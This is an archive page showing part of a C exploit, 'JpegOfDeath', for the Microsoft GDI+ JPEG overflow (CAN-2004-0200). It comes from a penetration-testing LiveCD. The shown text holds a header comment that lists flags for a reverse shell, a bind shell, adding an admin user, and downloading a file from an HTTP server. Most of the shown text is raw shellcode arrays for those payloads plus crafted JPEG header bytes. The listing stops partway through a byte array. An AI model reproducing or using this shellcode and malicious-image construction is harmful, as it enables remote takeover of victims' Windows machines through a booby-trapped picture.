home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / local / JpegOfDeath.0.6a.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  25KB  |  576 lines

  1. // CAN-2004-0200
  2.  
  3. /*
  4. * Exploit Name:
  5. * =============
  6. *  JpegOfDeath.M.c v0.6.a All in one Bind/Reverse/Admin/FileDownload
  7. * =============
  8. * Tweaked Exploit By M4Z3R For GSO
  9. * All Credits & Greetings Go To:
  10. * ==========
  11. *  FoToZ, Nick DeBaggis, MicroSoft, Anthony Rocha, #romhack
  12. *  Peter Winter-Smith, IsolationX, YpCat, Aria Giovanni,
  13. *  Nick Fitzgerald, Adam Nance (where are you?),
  14. *  Santa Barbara, Jenna Jameson, John Kerry, so1o, 
  15. *  Computer Security Industry, Rom Hackers,  My chihuahuas
  16. *  (Rocky, Sailor, and Penny)...
  17. * ===========
  18. * Flags Usage:
  19. * -a: Add User X with Pass X to Admin Group; 
  20. *  IE: Exploit.exe -a pic.jpg 
  21. * -d: Download a File From an HTTP Server;
  22. *  IE: Exploit.exe -d http://YourWebServer/Patch.exe pic.jpg
  23. * -r: Send Back a Shell To a Specified IP on a Specific Port;
  24. *  IE: Exploit.exe -r 192.168.0.1 -p 123 pic.jpg (Default Port is 1337)
  25. * -b: Bind a Shell on The Exploited Machine On a Specific Port;
  26. *  IE: Exploit.exe -b -p 132 pic.jpg (Default Port is 1337)
  27. * Disclaimer:
  28. * ===========
  29. * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR  
  30. * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
  31. * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. 
  32. * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,   
  33. * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT 
  34. * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
  35. * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY  
  36. * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT  
  37. * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF 
  38. * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE   
  39. *                   
  40. */
  41.   
  42. #include <stdio.h>
  43. #include <stdlib.h>
  44. #include <string.h>
  45. #include <windows.h>
  46. #pragma comment(lib, "ws2_32.lib")
  47.  
  48. // Exploit Data... 
  49.  
  50. char reverse_shellcode[] =
  51. "\xD9\xE1\xD9\x34"
  52. "\x24\x58\x58\x58\x58\x80\xE8\xE7\x31\xC9\x66\x81\xE9\xAC\xFE\x80"
  53. "\x30\x92\x40\xE2\xFA\x7A\xA2\x92\x92\x92\xD1\xDF\xD6\x92\x75\xEB"
  54. "\x54\xEB\x7E\x6B\x38\xF2\x4B\x9B\x67\x3F\x59\x7F\x6E\xA9\x1C\xDC"
  55. "\x9C\x7E\xEC\x4A\x70\xE1\x3F\x4B\x97\x5C\xE0\x6C\x21\x84\xC5\xC1"
  56. "\xA0\xCD\xA1\xA0\xBC\xD6\xDE\xDE\x92\x93\xC9\xC6\x1B\x77\x1B\xCF"
  57. "\x92\xF8\xA2\xCB\xF6\x19\x93\x19\xD2\x9E\x19\xE2\x8E\x3F\x19\xCA"
  58. "\x9A\x79\x9E\x1F\xC5\xB6\xC3\xC0\x6D\x42\x1B\x51\xCB\x79\x82\xF8"
  59. "\x9A\xCC\x93\x7C\xF8\x9A\xCB\x19\xEF\x92\x12\x6B\x96\xE6\x76\xC3"
  60. "\xC1\x6D\xA6\x1D\x7A\x1A\x92\x92\x92\xCB\x1B\x96\x1C\x70\x79\xA3"
  61. "\x6D\xF4\x13\x7E\x02\x93\xC6\xFA\x93\x93\x92\x92\x6D\xC7\x8A\xC5"
  62. "\xC5\xC5\xC5\xD5\xC5\xD5\xC5\x6D\xC7\x86\x1B\x51\xA3\x6D\xFA\xDF"
  63. "\xDF\xDF\xDF\xFA\x90\x92\xB0\x83\x1B\x73\xF8\x82\xC3\xC1\x6D\xC7"
  64. "\x82\x17\x52\xE7\xDB\x1F\xAE\xB6\xA3\x52\xF8\x87\xCB\x61\x39\x54"
  65. "\xD6\xB6\x82\xD6\xF4\x55\xD6\xB6\xAE\x93\x93\x1B\xCE\xB6\xDA\x1B"
  66. "\xCE\xB6\xDE\x1B\xCE\xB6\xC2\x1F\xD6\xB6\x82\xC6\xC2\xC3\xC3\xC3"
  67. "\xD3\xC3\xDB\xC3\xC3\x6D\xE7\x92\xC3\x6D\xC7\xBA\x1B\x73\x79\x9C"
  68. "\xFA\x6D\x6D\x6D\x6D\x6D\xA3\x6D\xC7\xB6\xC5\x6D\xC7\x9E\x6D\xC7"
  69. "\xB2\xC1\xC7\xC4\xC5\x19\xFE\xB6\x8A\x19\xD7\xAE\x19\xC6\x97\xEA"
  70. "\x93\x78\x19\xD8\x8A\x19\xC8\xB2\x93\x79\x71\xA0\xDB\x19\xA6\x19"
  71. "\x93\x7C\xA3\x6D\x6E\xA3\x52\x3E\xAA\x72\xE6\x95\x53\x5D\x9F\x93"
  72. "\x55\x79\x60\xA9\xEE\xB6\x86\xE7\x73\x19\xC8\xB6\x93\x79\xF4\x19"
  73. "\x9E\xD9\x19\xC8\x8E\x93\x79\x19\x96\x19\x93\x7A\x79\x90\xA3\x52"
  74. "\x1B\x78\xCD\xCC\xCF\xC9\x50\x9A\x92\x65\x6D\x44\x58\x4F\x52";
  75.  
  76. char bind_shellcode[] =
  77. "\xD9\xE1\xD9\x34\x24\x58\x58\x58"
  78. "\x58\x80\xE8\xE7\x31\xC9\x66\x81\xE9\x97\xFE\x80\x30\x92\x40\xE2"
  79. "\xFA\x7A\xAA\x92\x92\x92\xD1\xDF\xD6\x92\x75\xEB\x54\xEB\x77\xDB"
  80. "\x14\xDB\x36\x3F\xBC\x7B\x36\x88\xE2\x55\x4B\x9B\x67\x3F\x59\x7F"
  81. "\x6E\xA9\x1C\xDC\x9C\x7E\xEC\x4A\x70\xE1\x3F\x4B\x97\x5C\xE0\x6C"
  82. "\x21\x84\xC5\xC1\xA0\xCD\xA1\xA0\xBC\xD6\xDE\xDE\x92\x93\xC9\xC6"
  83. "\x1B\x77\x1B\xCF\x92\xF8\xA2\xCB\xF6\x19\x93\x19\xD2\x9E\x19\xE2"
  84. "\x8E\x3F\x19\xCA\x9A\x79\x9E\x1F\xC5\xBE\xC3\xC0\x6D\x42\x1B\x51"
  85. "\xCB\x79\x82\xF8\x9A\xCC\x93\x7C\xF8\x98\xCB\x19\xEF\x92\x12\x6B"
  86. "\x94\xE6\x76\xC3\xC1\x6D\xA6\x1D\x7A\x07\x92\x92\x92\xCB\x1B\x96"
  87. "\x1C\x70\x79\xA3\x6D\xF4\x13\x7E\x02\x93\xC6\xFA\x93\x93\x92\x92"
  88. "\x6D\xC7\xB2\xC5\xC5\xC5\xC5\xD5\xC5\xD5\xC5\x6D\xC7\x8E\x1B\x51"
  89. "\xA3\x6D\xC5\xC5\xFA\x90\x92\x83\xCE\x1B\x74\xF8\x82\xC4\xC1\x6D"
  90. "\xC7\x8A\xC5\xC1\x6D\xC7\x86\xC5\xC4\xC1\x6D\xC7\x82\x1B\x50\xF4"
  91. "\x13\x7E\xC6\x92\x1F\xAE\xB6\xA3\x52\xF8\x87\xCB\x61\x39\x1B\x45"
  92. "\x54\xD6\xB6\x82\xD6\xF4\x55\xD6\xB6\xAE\x93\x93\x1B\xEE\xB6\xDA"
  93. "\x1B\xEE\xB6\xDE\x1B\xEE\xB6\xC2\x1F\xD6\xB6\x82\xC6\xC2\xC3\xC3"
  94. "\xC3\xD3\xC3\xDB\xC3\xC3\x6D\xE7\x92\xC3\x6D\xC7\xA2\x1B\x73\x79"
  95. "\x9C\xFA\x6D\x6D\x6D\x6D\x6D\xA3\x6D\xC7\xBE\xC5\x6D\xC7\x9E\x6D"
  96. "\xC7\xBA\xC1\xC7\xC4\xC5\x19\xFE\xB6\x8A\x19\xD7\xAE\x19\xC6\x97"
  97. "\xEA\x93\x78\x19\xD8\x8A\x19\xC8\xB2\x93\x79\x71\xA0\xDB\x19\xA6"
  98. "\x19\x93\x7C\xA3\x6D\x6E\xA3\x52\x3E\xAA\x72\xE6\x95\x53\x5D\x9F"
  99. "\x93\x55\x79\x60\xA9\xEE\xB6\x86\xE7\x73\x19\xC8\xB6\x93\x79\xF4"
  100. "\x19\x9E\xD9\x19\xC8\x8E\x93\x79\x19\x96\x19\x93\x7A\x79\x90\xA3"
  101. "\x52\x1B\x78\xCD\xCC\xCF\xC9\x50\x9A\x92\x65\x6D\x44\x58\x4F\x52";
  102.  
  103. char http_shellcode[]=
  104. "\xEB\x0F\x58\x80\x30\x17\x40\x81\x38\x6D\x30\x30\x21\x75\xF4"
  105. "\xEB\x05\xE8\xEC\xFF\xFF\xFF\xFE\x94\x16\x17\x17\x4A\x42\x26"
  106. "\xCC\x73\x9C\x14\x57\x84\x9C\x54\xE8\x57\x62\xEE\x9C\x44\x14"
  107. "\x71\x26\xC5\x71\xAF\x17\x07\x71\x96\x2D\x5A\x4D\x63\x10\x3E"
  108. "\xD5\xFE\xE5\xE8\xE8\xE8\x9E\xC4\x9C\x6D\x2B\x16\xC0\x14\x48"
  109. "\x6F\x9C\x5C\x0F\x9C\x64\x37\x9C\x6C\x33\x16\xC1\x16\xC0\xEB"
  110. "\xBA\x16\xC7\x81\x90\xEA\x46\x26\xDE\x97\xD6\x18\xE4\xB1\x65"
  111. "\x1D\x81\x4E\x90\xEA\x63\x05\x50\x50\xF5\xF1\xA9\x18\x17\x17"
  112. "\x17\x3E\xD9\x3E\xE0\xFE\xFF\xE8\xE8\xE8\x26\xD7\x71\x9C\x10"
  113. "\xD6\xF7\x15\x9C\x64\x0B\x16\xC1\x16\xD1\xBA\x16\xC7\x9E\xD1"
  114. "\x9E\xC0\x4A\x9A\x92\xB7\x17\x17\x17\x57\x97\x2F\x16\x62\xED"
  115. "\xD1\x17\x17\x9A\x92\x0B\x17\x17\x17\x47\x40\xE8\xC1\x7F\x13"
  116. "\x17\x17\x17\x7F\x17\x07\x17\x17\x7F\x68\x81\x8F\x17\x7F\x17"
  117. "\x17\x17\x17\xE8\xC7\x9E\x92\x9A\x17\x17\x17\x9A\x92\x18\x17"
  118. "\x17\x17\x47\x40\xE8\xC1\x40\x9A\x9A\x42\x17\x17\x17\x46\xE8"
  119. "\xC7\x9E\xD0\x9A\x92\x4A\x17\x17\x17\x47\x40\xE8\xC1\x26\xDE"
  120. "\x46\x46\x46\x46\x46\xE8\xC7\x9E\xD4\x9A\x92\x7C\x17\x17\x17"
  121. "\x47\x40\xE8\xC1\x26\xDE\x46\x46\x46\x46\x9A\x82\xB6\x17\x17"
  122. "\x17\x45\x44\xE8\xC7\x9E\xD4\x9A\x92\x6B\x17\x17\x17\x47\x40"
  123. "\xE8\xC1\x9A\x9A\x86\x17\x17\x17\x46\x7F\x68\x81\x8F\x17\xE8"
  124. "\xA2\x9A\x17\x17\x17\x44\xE8\xC7\x48\x9A\x92\x3E\x17\x17\x17"
  125. "\x47\x40\xE8\xC1\x7F\x17\x17\x17\x17\x9A\x8A\x82\x17\x17\x17"
  126. "\x44\xE8\xC7\x9E\xD4\x9A\x92\x26\x17\x17\x17\x47\x40\xE8\xC1"
  127. "\xE8\xA2\x86\x17\x17\x17\xE8\xA2\x9A\x17\x17\x17\x44\xE8\xC7"
  128. "\x9A\x92\x2E\x17\x17\x17\x47\x40\xE8\xC1\x44\xE8\xC7\x9A\x92"
  129. "\x56\x17\x17\x17\x47\x40\xE8\xC1\x7F\x12\x17\x17\x17\x9A\x9A"
  130. "\x82\x17\x17\x17\x46\xE8\xC7\x9A\x92\x5E\x17\x17\x17\x47\x40"
  131. "\xE8\xC1\x7F\x17\x17\x17\x17\xE8\xC7\xFF\x6F\xE9\xE8\xE8\x50"
  132. "\x72\x63\x47\x65\x78\x74\x56\x73\x73\x65\x72\x64\x64\x17\x5B"
  133. "\x78\x76\x73\x5B\x7E\x75\x65\x76\x65\x6E\x56\x17\x41\x7E\x65"
  134. "\x63\x62\x76\x7B\x56\x7B\x7B\x78\x74\x17\x48\x7B\x74\x65\x72"
  135. "\x76\x63\x17\x48\x7B\x60\x65\x7E\x63\x72\x17\x48\x7B\x74\x7B"
  136. "\x78\x64\x72\x17\x40\x7E\x79\x52\x6F\x72\x74\x17\x52\x6F\x7E"
  137. "\x63\x47\x65\x78\x74\x72\x64\x64\x17\x40\x7E\x79\x5E\x79\x72"
  138. "\x63\x17\x5E\x79\x63\x72\x65\x79\x72\x63\x58\x67\x72\x79\x56"
  139. "\x17\x5E\x79\x63\x72\x65\x79\x72\x63\x58\x67\x72\x79\x42\x65"
  140. "\x7B\x56\x17\x5E\x79\x63\x72\x65\x79\x72\x63\x45\x72\x76\x73"
  141. "\x51\x7E\x7B\x72\x17\x17\x17\x17\x17\x17\x17\x17\x17\x7A\x27"
  142. "\x27\x39\x72\x6F\x72\x17"
  143. "m00!";
  144.  
  145. char admin_shellcode[] =
  146. "\x66\x81\xec\x80\x00\x89\xe6\xe8\xb7\x00\x00\x00\x89\x06\x89\xc3"
  147. "\x53\x68\x7e\xd8\xe2\x73\xe8\xbd\x00\x00\x00\x89\x46\x0c\x53\x68"
  148. "\x8e\x4e\x0e\xec\xe8\xaf\x00\x00\x00\x89\x46\x08\x31\xdb\x53\x68"
  149. "\x70\x69\x33\x32\x68\x6e\x65\x74\x61\x54\xff\xd0\x89\x46\x04\x89"
  150. "\xc3\x53\x68\x5e\xdf\x7c\xcd\xe8\x8c\x00\x00\x00\x89\x46\x10\x53"
  151. "\x68\xd7\x3d\x0c\xc3\xe8\x7e\x00\x00\x00\x89\x46\x14\x31\xc0\x31"
  152. "\xdb\x43\x50\x68\x72\x00\x73\x00\x68\x74\x00\x6f\x00\x68\x72\x00"
  153. "\x61\x00\x68\x73\x00\x74\x00\x68\x6e\x00\x69\x00\x68\x6d\x00\x69"
  154. "\x00\x68\x41\x00\x64\x00\x89\x66\x1c\x50\x68\x58\x00\x00\x00\x89"
  155. "\xe1\x89\x4e\x18\x68\x00\x00\x5c\x00\x50\x53\x50\x50\x53\x50\x51"
  156. "\x51\x89\xe1\x50\x54\x51\x53\x50\xff\x56\x10\x8b\x4e\x18\x49\x49"
  157. "\x51\x89\xe1\x6a\x01\x51\x6a\x03\xff\x76\x1c\x6a\x00\xff\x56\x14"
  158. "\xff\x56\x0c\x56\x6a\x30\x59\x64\x8b\x01\x8b\x40\x0c\x8b\x70\x1c"
  159. "\xad\x8b\x40\x08\x5e\xc2\x04\x00\x53\x55\x56\x57\x8b\x6c\x24\x18"
  160. "\x8b\x45\x3c\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01"
  161. "\xeb\xe3\x32\x49\x8b\x34\x8b\x01\xee\x31\xff\xfc\x31\xc0\xac\x38"
  162. "\xe0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf2\x3b\x7c\x24\x14\x75\xe1"
  163. "\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04"
  164. "\x8b\x01\xe8\xeb\x02\x31\xc0\x89\xea\x5f\x5e\x5d\x5b\xc2\x08\x00";
  165.  
  166. char header1[] =
  167. "\xFF\xD8\xFF\xE0\x00\x10\x4A\x46\x49\x46\x00\x01\x02\x00\x00\x64"
  168. "\x00\x64\x00\x00\xFF\xEC\x00\x11\x44\x75\x63\x6B\x79\x00\x01\x00"
  169. "\x04\x00\x00\x00\x0A\x00\x00\xFF\xEE\x00\x0E\x41\x64\x6F\x62\x65"
  170. "\x00\x64\xC0\x00\x00\x00\x01\xFF\xFE\x00\x01\x00\x14\x10\x10\x19"
  171. "\x12\x19\x27\x17\x17\x27\x32\xEB\x0F\x26\x32\xDC\xB1\xE7\x70\x26"
  172. "\x2E\x3E\x35\x35\x35\x35\x35\x3E";
  173.  
  174. char setNOPs1[] =
  175. "\xE8\x00\x00\x00\x00\x5B\x8D\x8B"
  176. "\x00\x05\x00\x00\x83\xC3\x12\xC6\x03\x90\x43\x3B\xD9\x75\xF8";
  177.  
  178. char setNOPs2[] =
  179. "\x3E\xE8\x00\x00\x00\x00\x5B\x8D\x8B"
  180. "\x2F\x00\x00\x00\x83\xC3\x12\xC6\x03\x90\x43\x3B\xD9\x75\xF8";
  181.  
  182. char header2[] =
  183. "\x44"
  184. "\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x01\x15\x19\x19"
  185. "\x20\x1C\x20\x26\x18\x18\x26\x36\x26\x20\x26\x36\x44\x36\x2B\x2B"
  186. "\x36\x44\x44\x44\x42\x35\x42\x44\x44\x44\x44\x44\x44\x44\x44\x44"
  187. "\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44"
  188. "\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\x44\xFF\xC0\x00"
  189. "\x11\x08\x03\x59\x02\x2B\x03\x01\x22\x00\x02\x11\x01\x03\x11\x01"
  190. "\xFF\xC4\x00\xA2\x00\x00\x02\x03\x01\x01\x00\x00\x00\x00\x00\x00"
  191. "\x00\x00\x00\x00\x00\x03\x04\x01\x02\x05\x00\x06\x01\x01\x01\x01"
  192. "\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x02"
  193. "\x03\x10\x00\x02\x01\x02\x04\x05\x02\x03\x06\x04\x05\x02\x06\x01"
  194. "\x05\x01\x01\x02\x03\x00\x11\x21\x31\x12\x04\x41\x51\x22\x13\x05"
  195. "\x61\x32\x71\x81\x42\x91\xA1\xC1\x52\x23\x14\xB1\xD1\x62\x15\xF0"
  196. "\xE1\x72\x33\x06\x82\x24\xF1\x92\x43\x53\x34\x16\xA2\xD2\x63\x83"
  197. "\x44\x54\x25\x11\x00\x02\x01\x03\x02\x04\x03\x08\x03\x00\x02\x03"
  198. "\x01\x00\x00\x00\x00\x01\x11\x21\x31\x02\x41\x12\xF0\x51\x61\x71"
  199. "\x81\x91\xA1\xB1\xD1\xE1\xF1\x22\x32\x42\x52\xC1\x62\x13\x72\x92"
  200. "\xD2\x03\x23\x82\xFF\xDA\x00\x0C\x03\x01\x00\x02\x11\x03\x11\x00"
  201. "\x3F\x00\x0F\x90\xFF\x00\xBC\xDA\xB3\x36\x12\xC3\xD4\xAD\xC6\xDC"
  202. "\x45\x2F\xB2\x97\xB8\x9D\xCB\x63\xFD\x26\xD4\xC6\xD7\x70\xA4\x19"
  203. "\x24\x50\xCA\x46\x2B\xFC\xEB\x3B\xC7\xC9\xA5\x4A\x8F\x69\x26\xDF"
  204. "\x6D\x72\x4A\x9E\x27\x6B\x3E\xE6\x92\x86\x24\x85\x04\xDB\xED\xA9"
  205. "\x64\x8E\x6B\x63\x67\x19\x1A\xA5\xE7\xB8\x28\x3D\x09\xAB\x5D\x5F"
  206. "\x16\xF7\x8C\xED\x49\x4C\xF5\x01\xE6\xE5\xD5\x1C\x49\xAB\x10\x71"
  207. "\xA6\x36\x9B\x93\x24\x61\x00\x0F\x61\xEC\x34\xA7\x9C\x23\xF4\x96"
  208. "\xC6\xE6\xAF\xB7\x80\x76\xEF\x93\xF0\xAA\x28\x8A\x6B\xE0\x18\xC0"
  209. "\xA4\x9B\x7E\x90\x39\x03\xC2\x90\xDC\x43\x31\x91\x62\x91\x86\x23"
  210. "\x35\x35\xA2\x80\x4D\xFA\x72\x31\x07\x9D\x03\x70\xA8\x93\x24\x4F"
  211. "\x89\x51\x83\x5E\xA4\x2E\x7A\xC0\x7D\xA9\x8A\x10\x61\x64\x07\xFA"
  212. "\x88\xC6\x89\x26\xDA\x0F\x20\xBD\xB9\x16\xD2\xA8\xE8\x91\x3F\x1A"
  213. "\xE2\xBA\xF0\xBE\x74\xAB\x1D\xC4\x44\x15\x1A\x8A\x9C\xC7\x2A\x6B"
  214. "\xA3\x33\xB7\x1E\x88\x47\x69\xA9\x64\x68\x26\xC1\x97\x0B\xD6\x86"
  215. "\x8B\x1B\x29\xC6\x87\xE4\xC7\xFD\xCC\x53\x11\xA5\x9C\x62\x6A\xE5"
  216. "\x40\x37\x61\x89\xF6\xB2\x9C\x2A\x7C\xFD\x05\x6A\x30\x5F\x52\x02"
  217. "\xEB\x72\xBF\x7D\x74\x4C\x23\xB9\x8F\xD8\x78\x67\x54\x59\x64\x47"
  218. "\xC5\x75\x21\x18\xD5\xE3\x58\xE1\x72\x63\xBF\x6D\xBD\xCB\xCA\x82"
  219. "\x65\xE7\xDB\x09\x54\x4F\x0D\x95\x86\x76\xE3\xF2\xA0\x48\x82\x55"
  220. "\xD7\xA6\xCE\xA7\xAA\xDC\x6A\xF1\xA9\x8E\xE0\x35\xC1\xCA\xA1\xD4"
  221. "\x93\xD2\xD6\x39\x95\x3C\x6B\x46\x60\xAC\xC1\x3B\x60\xC9\x70\x84"
  222. "\x8E\xA1\x9A\x9A\x20\x01\x94\xCA\x08\x91\x53\xDC\x01\xB1\xB5\x12"
  223. "\x37\x11\xC6\xC1\xAC\xF1\x11\xD4\x9C\x6B\x3E\x69\x76\xF0\x1D\x7B"
  224. "\x52\x6D\xC9\xA8\x66\x94\xBB\x79\x8F\x7E\xDE\x17\xFD\x4D\xAB\x1E"
  225. "\x76\x7A\xA3\x2B\xE2\x50\x06\xB7\x2C\xEB\x2A\x49\xC9\xEA\x4E\x9B"
  226. "\xE7\xCA\xAF\x1E\xEC\x23\xDC\x8B\xE1\x6B\x5F\x1A\x9B\xE8\x49\x2E"
  227. "\x63\xE5\x03\x32\xCD\x19\xB8\x23\x10\x78\x1F\x85\x5C\x15\x8C\x97"
  228. "\x84\x9B\xDB\x15\x35\x9F\x16\xE0\x1E\x86\xB9\x8F\x97\x11\x4E\xDA"
  229. "\x35\x02\x45\x25\x93\xF8\x55\x24\x17\xB9\x1B\xF5\xC8\x07\xA9\xE2"
  230. "\x2A\x76\xB0\xC2\x37\x01\x95\xAD\x81\xB6\x1C\x6A\xA2\x38\xD9\xAE"
  231. "\xCA\x59\x18\x75\x25\xFF\x00\x81\xAE\xD8\xE8\xBB\x47\x62\xAC\xB7"
  232. "\xB6\xA1\x8D\x40\xE3\x86\x65\x6D\x1E\xDB\x89\x2F\x9D\xCD\x6B\x24"
  233. "\x62\x41\x61\x89\xAC\x2D\x8B\x3E\xB6\x68\xC0\x63\x73\x70\x6B\x6B"
  234. "\x6A\xA1\x7A\xAC\x56\xE7\x11\x56\x58\xD4\x13\xA4\x0B\xB6\xEB\xB3"
  235. "\x3B\x47\x22\x95\xD3\x53\x2E\xEA\x19\x86\x96\xF7\x03\x83\x52\x9E"
  236. "\x54\xAB\x6E\x58\x63\x7C\x33\xCE\x93\xB1\x19\x1C\xE9\xDB\xAA\x35"
  237. "\xBF\x46\x8D\xD4\xD2\x56\xE0\xE0\x33\xA1\x4D\x0A\x4E\x3B\xB1\xCD"
  238. "\xD4\x06\x44\x56\x4A\xCD\x24\x26\xEA\x6D\x7A\x87\xDC\x3B\x60\x6D"
  239. "\xFC\x2A\x86\x1B\x97\x36\x6D\x42\x04\xA0\x11\xEE\xE7\x46\x22\x35"
  240. "\xD5\x26\xB0\x1C\x0B\x7C\x69\x5F\x06\xEC\x5A\xC5\x0B\x46\x70\x27"
  241. "\xF2\xD4\x79\xAD\x89\xDA\x30\x74\xBD\x98\xE4\x68\x58\x86\xE4\x1B"
  242. "\x69\xB9\xDC\x2B\x30\x87\x48\x53\xC5\x85\x3B\xDD\x8A\x4E\xB5\x42"
  243. "\xB2\x8C\x6E\x2C\x01\xF8\x56\x04\x7B\xC9\xA3\x05\x4F\xB4\xD5\xA2"
  244. "\xDF\xF6\xFD\xC6\xE2\xA7\x3C\x89\x24\xFE\xA9\x5E\xC3\xD4\x6D\xF7"
  245. "\x85\xC9\x59\x39\x63\x59\x9B\xFF\x00\x06\x1A\x5E\xFA\x69\x0A\x46"
  246. "\x2B\xC0\x9F\xC2\x91\x8B\xC9\x40\x58\x16\xBD\xF2\xC0\xD3\x3B\x7F"
  247. "\x2D\xA9\xBB\x2E\x49\x42\x6D\x52\x70\x39\x62\x9F\x08\x73\x6F\x20"
  248. "\x09\x64\x00\x01\x83\x2B\x00\xD5\x97\xBC\xDC\xF6\x9C\xA7\x66\xEA"
  249. "\xD9\xB6\x9F\xE1\x56\xDE\xBA\xEC\x65\xB4\x44\xD8\xE3\x8D\x52\x2F"
  250. "\x36\xCE\x74\x33\x7E\x9F\x2E\x22\x99\x8B\xC9\x6D\x5A\x6D\x9E\xA8"
  251. "\x22\xC7\x0C\xA8\x62\x3D\x17\x1D\x2F\xC8\xFA\xD4\xB0\x9E\x14\x45"
  252. "\x45\xD5\x6E\x96\x04\xE1\xF1\xA0\x37\x90\x5B\xD8\x7F\x81\x57\x1B"
  253. "\xC8\xD5\x48\x27\x0E\x3C\x6B\x3D\xCD\x44\x15\x92\x41\x25\x94\x82"
  254. "\xAE\x0E\x42\x97\x8D\x8C\x6D\xAE\x56\xB8\x26\xD8\x0F\xE3\x43\x93"
  255. "\x73\x18\x75\x28\xD7\xF8\xD5\xFF\x00\x74\xE4\x18\xC2\x82\xAC\x6F"
  256. "\x86\x7F\x2A\x4C\xBE\xE5\xFC\xD2\x22\xCC\x9A\x32\xD1\x7C\x7D\x68";
  257.  
  258. char admin_header0[]=
  259. "\xFF\xD8\xFF\xE0\x00\x10\x4A\x46\x49\x46\x00\x01\x02\x00\x00\x64\x00\x60\x00\x00"
  260. "\xFF\xEC\x00\x11\x44\x75\x63\x6B\x79\x00\x01\x00\x04\x00\x00\x00\x0A\x00\x00"
  261. "\xFF\xEE\x00\x0E\x41\x64\x6F\x62\x65\x00\x64\xC0\x00\x00\x00\x01"
  262. ;
  263.  
  264. char admin_header1[]=
  265. "\xFF\xFE\x00\x01"
  266. ;
  267.  
  268. char admin_header2[]=
  269. "\x00\x14\x10\x10\x19\x12\x19\x27\x17\x17\x27\x32"
  270. ;
  271.  
  272. char admin_header3[]=
  273. "\xEB\x0F\x26\x32"
  274. ;
  275.  
  276. char admin_header4[]=
  277. "\xDC\xB1\xE7\x70"
  278. ;
  279.  
  280. char admin_header5[]=
  281. "\x26\x2E\x3E\x35\x35\x35\x35\x35\x3E"
  282. "\xE8\x00\x00\x00\x00\x5B\x8D\x8B"
  283. "\x00\x05\x00\x00\x83\xC3\x12\xC6\x03\x90\x43\x3B\xD9\x75\xF8"
  284. ;
  285.  
  286. char admin_header6[]=
  287. "\x00\x00\x00\xFF\xDB\x00\x43\x00\x08\x06\x06\x07\x06\x05\x08\x07\x07"
  288. "\x07\x09\x09\x08\x0A\x0C\x14\x0D\x0C\x0B\x0B\x0C\x19\x12\x13\x0F\x14"
  289. "\x1D\x1A\x1F\x1E\x1D\x1A\x1C\x1C\x20\x24\x2E\x27\x20\x22\x2C\x23\x1C"
  290. "\x1C\x28\x37\x29\x2C\x30\x31\x34\x34\x34\x1F\x27\x39\x3D\x38\x32\x3C"
  291. "\x2E\x33\x34\x32\xFF\xDB\x00\x43\x01\x09\x09\x09\x0C\x0B\x0C\x18\x0D"
  292. "\x0D\x18\x32\x21\x1C\x21\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32"
  293. "\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32"
  294. "\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32"
  295. "\x32\x32\x32\x32\x32\xFF\xC0\x00\x11\x08\x00\x03\x00\x03\x03\x01\x22"
  296. "\x00\x02\x11\x01\x03\x11\x01\xFF\xC4\x00\x1F\x00\x00\x01\x05\x01\x01"
  297. "\x01\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x03\x04\x05"
  298. "\x06\x07\x08\x09\x0A\x0B\xFF\xC4\x00\xB5\x10\x00\x02\x01\x03\x03\x02"
  299. "\x04\x03\x05\x05\x04\x04\x00\x00\x01\x7D\x01\x02\x03\x00\x04\x11\x05"
  300. "\x12\x21\x31\x41\x06\x13\x51\x61\x07\x22\x71\x14\x32\x81\x91\xA1\x08"
  301. "\x23\x42\xB1\xC1\x15\x52\xD1\xF0\x24\x33\x62\x72\x82\x09\x0A\x16\x17"
  302. "\x18\x19\x1A\x25\x26\x27\x28\x29\x2A\x34\x35\x36\x37\x38\x39\x3A\x43"
  303. "\x44\x45\x46\x47\x48\x49\x4A\x53\x54\x55\x56\x57\x58\x59\x5A\x63\x64"
  304. "\x65\x66\x67\x68\x69\x6A\x73\x74\x75\x76\x77\x78\x79\x7A\x83\x84\x85"
  305. "\x86\x87\x88\x89\x8A\x92\x93\x94\x95\x96\x97\x98\x99\x9A\xA2\xA3\xA4"
  306. "\xA5\xA6\xA7\xA8\xA9\xAA\xB2\xB3\xB4\xB5\xB6\xB7\xB8\xB9\xBA\xC2\xC3"
  307. "\xC4\xC5\xC6\xC7\xC8\xC9\xCA\xD2\xD3\xD4\xD5\xD6\xD7\xD8\xD9\xDA\xE1"
